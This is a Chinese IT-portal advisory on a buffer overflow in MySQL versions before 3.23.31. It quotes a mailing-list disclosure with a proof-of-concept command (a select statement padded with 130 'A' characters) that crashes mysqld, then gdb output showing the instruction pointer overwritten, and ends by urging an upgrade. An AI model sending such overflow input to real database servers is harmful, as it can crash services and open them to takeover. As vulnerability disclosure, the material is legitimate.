首 页 | 精品电影 | 音乐天堂 | 在线游戏 | Flash MTV | 三湘书屋 | 幽默笑话 | 三湘图库 | 美女写真 | IT知识库 | QQ贴图 | 加入书签

网页制作网络编程图形图象操作系统冲浪宝典软件教学网络安全认证考试通信技术电子商务业内动态书籍教程原码

最近更新 文章分类 多媒体类 精品软件

本站搜索:
您的位置:三湘时空 -> IT知识库 -> 文章分类 -> 数据库安全 -> MySQL3.23.31之前版本的安全漏洞  
MySQL3.23.31之前版本的安全漏洞


文章类别:数据库安全 来源: 作者: 发表日期:2005-10-4 字体:[ ]

小游戏 | 在线影院 | 幽默笑话 | 源码下载 | Flash MTV | 音乐试听 | 书屋 | 美女写真

所有小于 3.23.31 版本的 MySQL 都存在一个缓冲溢出漏洞导致MySQL 崩溃。使攻击者获得 mysqld 权限,而可以操纵所有数据库。攻击的前提是必须有一个合法的登录名和口令。



下面为最初发表于 MySQL 邮件列表的信件摘要。

==================================================


漏洞是由Jo?o Gouveia 于1月12日发现的:

步骤:


在第一个终端上启动 mysql:


spike:/var/mysql # /sbin/init.d/mysql start


在另外一个终端上输入:

jroberto@spike:~ > mysql -p -e ’select a.’`perl -e’printf("A"x130)’`’.b’

Enter password:

(没有反应?按^C退出)


在第一台终端上会显示:


spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault

nohup

$ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin

g "$@" >>$err_log 2>&1>

Number of processes running now: 0

mysqld restarted on Fri Jan 12 07:10:54 WET 2001

mysqld daemon ended


使用 gdb 显示结果如下:


(gdb) run

Starting program: /usr/sbin/mysqld

[New Thread 16897 (manager thread)]

[New Thread 16891 (initial thread)]

[New Thread 16898]

/usr/sbin/mysqld: ready for connections

[New Thread 16916]

[Switching to Thread 16916]


Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) info all-registers

eax 0x1 1

ecx 0x68 104

edx 0x8166947 135686471

ebx 0x41414141 1094795585

esp 0xbf5ff408 0xbf5ff408

ebp 0x41414141 0x41414141

esi 0x41414141 1094795585

edi 0x0 0

eip 0x41414141 0x41414141

eflags 0x10246 66118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x0 0


其中的 eip 指示就是缓冲溢出了。


解决办法就是升级到 3.23.31。所以,各位如果还没有把数据库升级到最新版本,请赶快行动。


上一篇:简单易用的计数器(数据库) 下一篇:也谈 PHP 和 MYSQL
本栏目热门文章
·MSSQL db_owner角色注入直接获得系统权限 2005-10-4
·SQL注入攻击的原理及其防范措施 2005-10-4
·突破一流信息监控拦截系统进行SQL注射 2005-10-6
·数据库下载漏洞攻击技术 2005-10-4
·防范SQL注入式攻击 2005-10-4
·数据库安全性策略 (2) 2005-10-4
·SQL Server应用程序中的高级SQL注入 2005-10-4
·Mssql和Mysql的安全性分析 2005-10-4
·有孔就入 SQL Injection的深入探讨 2005-10-4
·通过Mysql的语句生成后门木马的方法 2005-10-4
新近更新文章
·安防有道:实施自动的SQL注入攻击测试 2006-4-16
·攻防实战:注水漏洞的利用和防范 2006-4-5
·突破一流信息监控拦截系统进行SQL注射 2005-10-6
·保护SQL Server 2000的十个步骤 2005-10-4
·数据库下载漏洞攻击技术 2005-10-4
·通过Mysql的语句生成后门木马的方法 2005-10-4
·小议MSSQL Server 2000的安全及管理 2005-10-4
·SQL Server应用程序中的高级SQL注入 2005-10-4
·SQL注入攻击的原理及其防范措施 2005-10-4
·SQL注入不完全思路与防注入程序 2005-10-4
首 页 | 软件发布 | 广告联系 | 下载帮助 | 意见反馈 | 网站地图
  CopyRight? 2002-2004 WWW.SXSKY.NET? All Rights Reserved
三湘时空 站长QQ:82675303 Email: